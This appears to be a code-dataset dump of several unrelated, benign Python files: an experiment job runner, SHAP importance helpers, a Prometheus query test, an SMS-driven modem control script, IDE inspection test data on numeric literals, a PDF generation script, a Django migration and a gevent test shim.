content
stringlengths
0
894k
type
stringclasses
2 values
job_list = [ "python3 exp_neurolisp.py -o -t suite --dump --path=./test_data/suite_data/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=2000 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=2500 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=3000 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=3500 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=4000 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=4500 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=5000 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_mem --mem_size=5500 --dump --path=./test_data/unify_data/mem_test/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=100 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=200 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=300 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=400 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=500 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=600 --bind_ctx_lam 0.25 --dump --path=./test_data/unify_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=100 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=200 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=300 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=400 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=500 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=600 --bind_ctx_lam 0.125 --dump --path=./test_data/unify_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=100 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=200 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=300 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=400 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=500 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t unify_bind --bind_size=600 --bind_ctx_lam 0.5 --dump --path=./test_data/unify_data/bind_test/half/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=300 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=600 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=900 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=1200 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=1500 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_mem --mem_size=1800 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=300 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=600 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=900 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=1200 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=1500 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t list_lex --lex_size=1800 --dump --path=./test_data/list_data/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=3000 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=3500 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=4000 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=4500 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=5000 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_mem --mem_size=5500 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/mem_test/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=100 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=200 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=300 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=400 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=500 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=600 --dump --bind_ctx_lam 0.5 --path=./test_data/pcfg_data/bind_test/half/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=100 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=200 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=300 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=400 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=500 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=600 --dump --bind_ctx_lam 0.25 --path=./test_data/pcfg_data/bind_test/quarter/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=100 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=200 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=300 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=400 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=500 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t pcfg_bind --bind_size=600 --dump --bind_ctx_lam 0.125 --path=./test_data/pcfg_data/bind_test/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=1000 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_many/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=2000 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_many/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=3000 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_many/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=4000 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_many/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=5000 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_many/eighth/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=1000 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_many/half/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=2000 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_many/half/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=3000 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_many/half/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=4000 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_many/half/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=5000 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_many/half/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=1000 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_many/quarter/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=2000 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_many/quarter/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=3000 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_many/quarter/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=4000 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_many/quarter/", "python3 exp_neurolisp.py -o -t bind_many --bind_size=5000 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_many/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=100 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=200 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=300 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=400 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=500 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=600 --dump --bind_ctx_lam 0.25 --path=./test_data/bind_data/bind_one/quarter/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=100 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=200 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=300 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=400 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=500 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=600 --dump --bind_ctx_lam 0.125 --path=./test_data/bind_data/bind_one/eighth/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=100 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=200 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=300 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=400 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=500 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", "python3 exp_neurolisp.py -o -t bind_one --bind_size=600 --dump --bind_ctx_lam 0.5 --path=./test_data/bind_data/bind_one/half/", ] from os import system if __name__ == '__main__': for job in job_list: command = "%s >/dev/null" % job print(command) system(command)
python
# Copyright (c) 2020 ING Bank N.V. # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of # the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS # FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR # COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER # IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. import shap import pandas as pd import numpy as np import warnings def shap_calc(model, X, approximate=False, return_explainer=False, verbose=0, sample_size = 100, **shap_kwargs): """ Helper function to calculate the shapley values for a given model. Args: model (binary model): Trained model. X (pd.DataFrame or np.ndarray): features set. approximate (boolean): if True uses shap approximations - less accurate, but very fast. return_explainer (boolean): if True, returns a a tuple (shap_values, explainer). verbose (int, optional): Controls verbosity of the output: - 0 - nether prints nor warnings are shown - 1 - 50 - only most important warnings - 51 - 100 - shows other warnings and prints - above 100 - presents all prints and all warnings (including SHAP warnings). **shap_kwargs: kwargs of the shap.Explainer Returns: (np.ndarray or tuple(np.ndarray, shap.Explainer)): shapley_values for the model, optionally also returns the explainer. """ # Suppress warnings regarding XGboost and Lightgbm models. with warnings.catch_warnings(): if verbose <= 100: warnings.simplefilter("ignore") # Create the background data,required for non tree based models. # A single datapoint can passed as mask (https://github.com/slundberg/shap/issues/955#issuecomment-569837201) if X.shape[1]< sample_size : sample_size = int(np.ceil(X.shape[1]*0.2)) else : pass mask = shap.utils.sample(X,sample_size) explainer = shap.Explainer(model,masker=mask,**shap_kwargs) # Calculate Shap values. shap_values = explainer.shap_values(X) if isinstance(shap_values, list) and len(shap_values)==2: warnings.warn('Shap values are related to the output probabilities of class 1 for this model, instead of ' 'log odds.') shap_values = shap_values[1] if return_explainer: return shap_values, explainer return shap_values def shap_to_df(model, X, precalc_shap=None, **kwargs): """ Calculates the shap values and return the pandas DataFrame with the columns and the index of the original. Args: model (binary model): Pretrained model (Random Forest of XGBoost at the moment). X (pd.DataFrame or np.ndarray): Dataset on which the SHAP importance is calculated. precalc_shap (np.array): Precalculated SHAP values. If None, they are computed. **kwargs: for the function shap_calc Returns: (pd.DataFrame): Dataframe with SHAP feature importance per features on X dataset. """ if precalc_shap is not None: shap_values = precalc_shap else: shap_values = shap_calc(model, X, **kwargs) if isinstance(X, pd.DataFrame): return pd.DataFrame(shap_values, columns=X.columns, index=X.index) elif isinstance(X, np.ndarray) and len(X.shape) == 2: return pd.DataFrame(shap_values, columns=[f"col_{ix}" for ix in range(X.shape[1])]) else: raise NotImplementedError("X must be a dataframe or a 2d array") def calculate_shap_importance(shap_values, columns, output_columns_suffix=''): """ Returns the average shapley value for each column of the dataframe, as well as the average absolute shap value. Args: shap_values (np.array): Shap values. columns (list of str): Feature names. output_columns_suffix (str, optional): Suffix to be added at the end of column names in the output. Returns: (pd.DataFrame): Mean absolute shap values and Mean shap values of features. """ # Find average shap importance for neg and pos class shap_abs_mean = np.mean(np.abs(shap_values), axis=0) shap_mean = np.mean(shap_values, axis=0) # Prepare importance values in a handy df importance_df = pd.DataFrame({ f'mean_abs_shap_value{output_columns_suffix}':shap_abs_mean.tolist(), f'mean_shap_value{output_columns_suffix}': shap_mean.tolist()}, index=columns) # Set the correct column types importance_df[f'mean_abs_shap_value{output_columns_suffix}'] = \ importance_df[f'mean_abs_shap_value{output_columns_suffix}'].astype(float) importance_df[f'mean_shap_value{output_columns_suffix}'] = \ importance_df[f'mean_shap_value{output_columns_suffix}'].astype(float) importance_df = importance_df.sort_values(f'mean_abs_shap_value{output_columns_suffix}', ascending=False) return importance_df
python
#!/usr/bin/env python3 # Copyright 2004-present Facebook. All Rights Reserved. import json import unittest from network_health_service.stats.fetch_stats import get_link_queries, get_node_queries from network_health_service.stats.metrics import Metrics class CreateQueryTests(unittest.TestCase): def setUp(self) -> None: self.maxDiff = None with open("tests/metrics.json") as f: metrics = json.load(f) Metrics.update_metrics( metrics, prometheus_hold_time=30, use_real_throughput=True ) def test_get_link_queries(self) -> None: expected_link_queries = { "analytics_alignment_status": ( "sum_over_time(min by (linkName) " '(analytics_alignment_status{network="network_A"} == bool 1) ' "[3599s:30s])" ), "topology_link_is_online": ( "sum_over_time(min by (linkName) " '(topology_link_is_online{network="network_A"}) [3599s:30s])' ), "tx_byte": ( "quantile_over_time(0.75, sum by (linkName) " '(tx_byte{network="network_A"}) [3599s:30s])' ), "analytics_foliage_factor": ( "quantile_over_time(0.75, " 'abs(analytics_foliage_factor{network="network_A"}) [3599s:30s])' ), "drs_cn_egress_routes_count": ( "quantile_over_time(0.75, max by (linkName) " '(drs_cn_egress_routes_count{network="network_A"}) [3599s:30s])' ), "tx_ok": ( "quantile_over_time(0.75, sum by (linkName) " '(tx_ok{network="network_A",intervalSec="1"}) [3599s:1s])' ), "link_avail": ( "max by (linkName) " '(resets(link_avail{network="network_A",intervalSec="1"} [3600s]))' ), "mcs": ( "quantile_over_time(0.25, min by (linkName) " '(mcs{network="network_A",intervalSec="1"}) [3599s:1s])' ), "mcs_diff": ( "quantile_over_time(0.75, " 'abs(mcs{network="network_A",intervalSec="1",linkDirection="A"} ' "- on (linkName) " 'mcs{network="network_A",intervalSec="1",linkDirection="Z"}) ' "[3599s:1s])" ), "tx_power_diff": ( "quantile_over_time(0.75, " 'abs(tx_power{network="network_A",intervalSec="1",linkDirection="A"} ' "- on (linkName) " 'tx_power{network="network_A",intervalSec="1",linkDirection="Z"}) ' "[3599s:1s])" ), } link_queries = get_link_queries("network_A", 3600) self.assertDictEqual(link_queries, expected_link_queries) expected_node_queries = { "analytics_cn_power_status": ( "sum_over_time(" '(analytics_cn_power_status{network="network_A"} == bool 3) ' "[3599s:30s])" ), "topology_node_is_online": ( 'sum_over_time(topology_node_is_online{network="network_A"} [3600s])' ), "drs_default_routes_changed": ( "sum_over_time(drs_default_routes_changed" '{network="network_A"} [3600s])' ), "udp_pinger_loss_ratio": ( "sum_over_time(" '(udp_pinger_loss_ratio{network="network_A",intervalSec="30"} ' "< bool 0.9) [3599s:30s])" ), "udp_pinger_rtt_avg": ( "quantile_over_time(0.75, " 'udp_pinger_rtt_avg{network="network_A",intervalSec="30"} [3600s])' ), "min_route_mcs": ( "quantile_over_time(0.25, " 'drs_min_route_mcs{network="network_A"} [3599s:60s])' ), } node_queries = get_node_queries("network_A", 3600) self.assertDictEqual(node_queries, expected_node_queries)
python
import pathlib import os from argparse import ArgumentParser from e3372 import WebAPI, SMSHandler, SMS config_dir = os.path.join(pathlib.Path.home(), '.e3372-sms-handler') trusted_phone = '' def sms_handler(sms: SMS, api: WebAPI): global trusted_phone print(f'from={sms.phone}, date={sms.date}, text={sms.text}') # just in case phone = sms.phone if phone.startswith('8') and len(phone) == 11: phone = '+7' + phone[1:] elif phone.startswith('7') and len(phone) == 11: phone = '+' + phone if phone == trusted_phone: print('this is a trusted phone, processing...') text = sms.text.lower().strip() if text == 'you shall reboot!': print('bye bye...') api.auth() api.reboot() elif text == 'yo, get me some status': print('gathering status') api.auth() info = api.device_information() signal = api.device_signal() buf = [] for key, value in info.items(): if key in ('workmode', 'WanIPAddress'): buf.append(f'{key}={value}') for key, value in signal.items(): if key in ('cell_id', 'rssi', 'rscp', 'ecio', 'mode'): buf.append(f'{key}={value}') buf = ' '.join(buf) if buf != '': print('going to send this: ' + buf) # we need new api key it seems :O api.auth() api.send_sms(phone=trusted_phone, content=buf) elif text == 'switch it off': print('switching it off') api.auth() api.dataswitch(False) elif text == 'switch it on': print('switching it on') api.auth() api.dataswitch(True) def main(): global trusted_phone # parse arguments parser = ArgumentParser() parser.add_argument('--ip', default='192.168.8.1', help='Modem IP address') parser.add_argument('--trusted-phone', help='Trusted phone number') args = parser.parse_args() # set global trusted_phone trusted_phone = args.trusted_phone # webapi client client = WebAPI(args.ip) client.auth() # sms handler smshandler = SMSHandler(api=client, config_dir=config_dir) smshandler.process(sms_handler) if __name__ == '__main__': main()
python
# hex <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">0xCAFE_F00D</warning> # oct <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">0o1_23</warning> <error descr="Python version 3.6 does not support this syntax. It requires '0o' prefix for octal literals"><warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals"><warning descr="Python version 3.4, 3.5, 3.7 do not support this syntax. It requires '0o' prefix for octal literals">01_23</warning></warning></error> # bin <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">0b_0011_1111_0100_1110</warning> # dec <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_000_000</warning> # pointfloat <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.</warning> # exponentfloat <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23e1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23E1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.e1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.E1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23e+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23E+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.e+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.E+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23e-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23E-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.e-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.E-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23e1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23E1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00e1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00E1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23e+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23E+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00e+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00E+1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23e-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_0000_23E-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00e-1_2</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00E-1_2</warning> # imag <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23j</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23J</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23e1_2j</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_00.00_23e1_2J</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_000_000j</warning> <warning descr="Python version 2.6, 2.7, 3.4, 3.5 do not support underscores in numeric literals">10_000_000J</warning>
python
#!/usr/bin/env python """ Generate framework agreement signature pages from supplier "about you" information for suppliers who successfully applied to a framework. Usage: scripts/framework-applications/generate-framework-agreement-signature-pages.py [-v...] [options] <stage> <framework> <output_dir> <agreements_repo> [--supplier-id=<id>... | --supplier-ids-from=<file>] scripts/framework-applications/generate-framework-agreement-signature-pages.py (-h | --help) Options: <stage> Environment to run script against. <framework> Slug of framework to generate agreements for. <output_dir> Path to folder where script will save output. <agreements_repo> Path to folder containing framework templates. --supplier-id=<id> ID of supplier to generate agreement page for. --supplier-ids-from=<file> Path to file containing supplier IDs, one per line. -h, --help Show this help message -n, --dry-run Run script without generating files. -t <n>, --threads=<n> Number of threads to use, if not supplied the script will be run without threading. -v, --verbose Show debug log messages. If neither `--supplier-ids-from` or `--supplier-id` are provided then framework agreements will be generated for all valid suppliers. PREREQUISITE: You'll need wkhtmltopdf installed for this to work (http://wkhtmltopdf.org/) As well as calling out to the Digital Marketplace api, this script uses the online countries register. PDF signature pages are generated for all suppliers that have a framework interest and at least one completed draft service. """ from multiprocessing.pool import ThreadPool import os import pathlib import sys import tempfile sys.path.insert(0, ".") from docopt import docopt from dmscripts.helpers.auth_helpers import get_auth_token from dmscripts.helpers.logging_helpers import ( configure_logger, logging, ) from dmscripts.helpers.supplier_data_helpers import get_supplier_ids_from_file from dmapiclient import DataAPIClient from dmutils.env_helpers import get_api_endpoint_from_stage from dmscripts.generate_framework_agreement_signature_pages import ( find_suppliers, render_html_for_successful_suppliers, render_pdf_for_each_html_page, ) if __name__ == "__main__": args = docopt(__doc__) if args["--supplier-ids-from"]: supplier_ids = get_supplier_ids_from_file(args["--supplier-ids-from"]) elif args["--supplier-id"]: try: supplier_ids = tuple(map(int, args["--supplier-id"])) except ValueError: raise TypeError("argument to --supplier-id should be an integer") else: supplier_ids = None stage = args["<stage>"] framework_slug = args["<framework>"] agreements_repo = pathlib.Path(args["<agreements_repo>"]) agreements_dir = agreements_repo / "documents" / framework_slug output_dir = pathlib.Path(args["<output_dir>"]) dry_run = args["--dry-run"] verbose = args["--verbose"] if args["--threads"]: map_impl = ThreadPool(int(args["--threads"])).imap else: map_impl = map logger = configure_logger({ "dmapiclient.base": logging.WARNING, "framework_helpers": logging.DEBUG if verbose >= 2 else logging.WARNING, "script": logging.DEBUG if verbose else logging.INFO, }) logger.debug(f"connecting to api on {stage}") client = DataAPIClient( get_api_endpoint_from_stage(args["<stage>"]), get_auth_token("api", args["<stage>"]), ) logger.debug(f"fetching lots for framework '{framework_slug}'") framework = client.get_framework(framework_slug)["frameworks"] suppliers = find_suppliers(client, framework, supplier_ids, map_impl, dry_run) # create a temporary directory for the HTML files with tempfile.TemporaryDirectory() as html_dir: # create signature pages in HTML using Jinja templates from agreements repo logger.debug(f"generating HTML signature pages") render_html_for_successful_suppliers( suppliers, framework, agreements_dir, html_dir, dry_run) # convert HTML to PDF (this uses wkhtmltopdf under-the-hood) logger.debug(f"generating PDF signature pages from HTML") html_pages = os.listdir(html_dir) html_pages.remove("framework-agreement-signature-page.css") render_pdf_for_each_html_page(html_pages, html_dir, output_dir)
python
# Generated by Django 2.2.3 on 2019-10-21 08:40 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('devices', '0001_initial'), ('users', '0001_initial'), ] operations = [ migrations.AddField( model_name='user', name='phasma_device', field=models.ForeignKey(help_text='Phasma device used during measurement.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='users', to='devices.PhasmaDevice'), ), ]
python
import gevent from gevent import wsgi import test__pywsgi from test__pywsgi import * del TestHttps test__pywsgi.server_implements_chunked = False test__pywsgi.server_implements_pipeline = False test__pywsgi.server_implements_100continue = False TestCase.get_wsgi_module = lambda *args: wsgi if __name__ == '__main__': greentest.main()
python
